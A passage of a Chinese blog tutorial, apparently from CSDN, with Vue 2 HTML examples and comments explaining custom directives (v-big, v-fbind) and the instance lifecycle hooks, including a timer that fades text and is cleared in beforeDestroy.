    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>自定义指令</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>

  <body>
    <!-- 
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似。但可以让其所绑定的input元素默认获取焦点
        自定义指令总结:
            1、定义语法:
              (1)、局部指令:                             
                  new VUe({                                   new Vue({
                    directives:{指令名 : 配置对象}     或       directives(指令名:回调函数)
                  })                                          })
              (2)、全局指令:
                  Vue.directive(指令名,配置对象)       或      Vue.directive(指令名,回调函数)
            
            2、配置对象中常用的三个回调:
                (1)、bind:指令与元素成功绑定时调用
                (2)、inserted:指令所在元素被插入页面时调用
                (3)、update:指令所在模板结构被重新解析时调用
             
            3、备注:
                (1)、指令定义时不加 v- ,但使用时要加 v-;
                (2)、指令名如果时多个单词,要使用 xxx-xxx  命名方式,不要用 xxxYyy 命名
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <h2>当前的n值是:<span v-text="num"></span></h2>
      <h2>放大10倍后的n值是:<span v-big="num"></span></h2>
      <!-- 自定义指令命名:多个单词 用-号分割-->
      <h2>放大10倍后的n值是:<span v-big-number="num"></span></h2>
      <button @click="num++">点我+1</button>
      <hr />
      <input type="text" v-fbind:value="num" />
    </div>

    <div id="root2">
      <input type="text" v-fbind:value="num" />
    </div>
  </body>

  <script>
    //创建全局自定义指令
    Vue.directive("fbind", {
      //指令与元素成功绑定时(一上来) 调用bind()
      bind(element, binding) {
        element.value = binding.value;
      },
      //当元素插入DOM模块后 调用inserted()
      inserted(element, binding) {
        element.focus();
      },
      //指令所在的模板被重新解析时。调用update()
      update(element, binding) {
        element.value = binding.value;
      },
    });

    //创建 vm 实例对象
    const vm = new Vue({
      el: "#root",
      data: {
        num: 1,
      },
      //自定义指令对象   这里的值时局部指定 要想全局 要写在外边
      directives: {
        //创建自定义指令值 xxx  v-xxx
        //big函数何时会被调用?1、指令与元素成功绑定时(一上来)。2、指令所在的模板被重新解析时。
        big(element, binding) {
          //console.log(this); //注意 :此处的this是window!!!
          //element= 使用当前指令的元素  binding = 元素身上绑定的值
          element.innerText = binding.value * 10; //当前元素绑定的值 * 10
          element.style = "color:red"; //设置当前元素样式
        },
        //这里命名 有-号 要用原生写法加 ""
        "big-number"(element, binding) {
          element.innerText = binding.value * 10;
          element.style = "color:red";
        },
        /* fbind(element, binding) {
          element.value = binding.value;
          //获取焦点不奏效  因为元素还没被更新到DOM中你就设置属性  这时候就要用到下方的方法
          element.focus();
        }, */
      },
    });

    new Vue({
      el: "#root2",
      data: {
        num: 1,
      },
    });
  </script>
</html>

生命周期

图示

引出生命周期

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>引出生命周期</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>
  <body>
    <!-- 
        生命周期:
            1、又名:生命周期回调函数、生命周期函数、生命周期钩子
            2、是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
            3、生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
            4、生命周期函数中的this指向是vm  或  组件实例对象
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <!-- {xxx}  是吧整个对象放进去了  key 和 value-->
      <h2 :style="{opacity}">{{name}}</h2>
      <h2 v-if="a">{{name}}</h2>
      <button @click="a=true">点我显示另外一个</button>
    </div>
  </body>

  <script>
    //创建 vm 实例对象
    //const vm = new Vue({
    new Vue({
      el: "#root",
      data: {
        name: "xinze",
        opacity: 1,
        a: false,
      },
      //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕) 调用mounted
      mounted() {
        //Vue初始化执行完毕后 自动调用   每次刷新页面自动调用
        alert(1);
        setInterval(() => {
          this.opacity -= 0.01;
          if (this.opacity <= 0) this.opacity = 1;
        }, 16);
      },
    });

    //通过外部的定时器实现(不推荐)
    /* setInterval(() => {
      vm.opacity -= 0.01;
      if (vm.opacity <= 0) vm.opacity = 1;
    }, 16); */
  </script>
</html>

分析生命周期

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>分析生命周期</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>

  <body>
    <!-- 
        创建    (创建vm的实例)
        beforeCreate()  创建之前
        created()       创建完毕

        挂载  (挂载到DOM)
        beforeMount()  将要挂载
        mounted()       挂载完毕

        修改    (修改vm)
        beforeUpdate()  修改之前
        updated()       修改之后

        销毁    (通过 $destroy()  来销毁)
        beforeDestroy() 销毁之前
        destroyed()     销毁之后
        
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <h2>当前n值:{{n}}</h2>
      <button @click="add">点我n+1</button>
      <button @click="del">点我销毁vm</button>
    </div>
  </body>

  <script>
    //创建 vm 实例对象
    new Vue({
      el: "#root",
      //编写定义容器里的模板  (直接替换掉容器里的模板)
      //编写的也是有规则的 必须是一个根元素(一个父类 可以下面很多子类  不可以两个父类)
      //也不能使用template作为根元素
      /*  template: `
        <div>
            <h2>当前的a值是:{{n}}</h2>
            <button @click="add">点我n+1</button>
        </div>
      `, */
      data: {
        name: "xinze",
        n: 1,
      },
      methods: {
        add() {
          this.n++;
        },
        del() {
          this.$destroy();
        },
      },
      beforeCreate() {
        console.log("beforeCreate");
        console.log(this);
        console.log(this.n);
      },
      created() {
        console.log("created");
        console.log(this);
      },
      beforeMount() {
        //如果 没有确定容器(el    vm.$mount()) 是不会执行此步  啥时候确认啥时候执行
        console.log("befoteMOunt");
        console.log(this);
      },
      mounted() {
        console.log("mounted");
        console.log(this);
      },
      beforeUpdate() {
        console.log("beforeUpdate");
        console.log(this.n);
        //debugger;
      },
      updated() {
        console.log("updated");
        console.log(this.n);
      },
      //只有点击了  销毁vm 才会执行下面两条
      beforeDestroy() {
        //销毁前 可以调用别的方法和属性进行操作  但不会渲染到页面
        console.log("vm销毁前:beforeDestroy");
        this.n++;
        console.log(this.n);
      },
      destroyed() {
        console.log("vm销毁后:destroyed");
      },
    });
  </script>
</html>

总结生命周期

图示

 代码

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>总结生命周期</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>
  <body>
    <!-- 
        目前学的生命周期钩子:
              beforeCreate()  创建前
              created()       创建后
              beforeMount()   挂载前
              mounted()       挂在后
              beforeUpdate()  修改前
              updated()       修改后
              beforeDestroy() 销毁前
              destroyed()     销毁后

        常用的生命周期钩子:
              1、mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
              2、beforeDestroy:清除定时器、解绑自定义事件、取消订阅信息等【收尾工作】。

        关于销毁Vue实例      
              1、销毁后借助Vue开发者工具看不到任何信息。
              2、销毁后自定义事件会失效,但原生DOM事件依然有效。
              3、一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <h2 :style="{opacity}">{{name}}</h2>
      <button @click="del">点我停止变换</button>
    </div>
  </body>

  <script>
    const vm = new Vue({
      el: "#root",
      data: {
        name: "xinze",
        opacity: 1,
      },
      methods: {
        del() {
          this.$destroy();
        },
      },
      //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕) 调用mounted
      mounted() {
        //this.trimer 在当前实例身上创建一个trimer接收定时器函数
        this.trimer = setInterval(() => {
          this.opacity -= 0.01;
          if (this.opacity <= 0) this.opacity = 1;
        }, 16);
      },
      beforeDestroy() {
        clearInterval(this.trimer); //销毁定时器
        console.log("vm即将销毁");
      },
    });
  </script>
</html>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XinZeBig

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值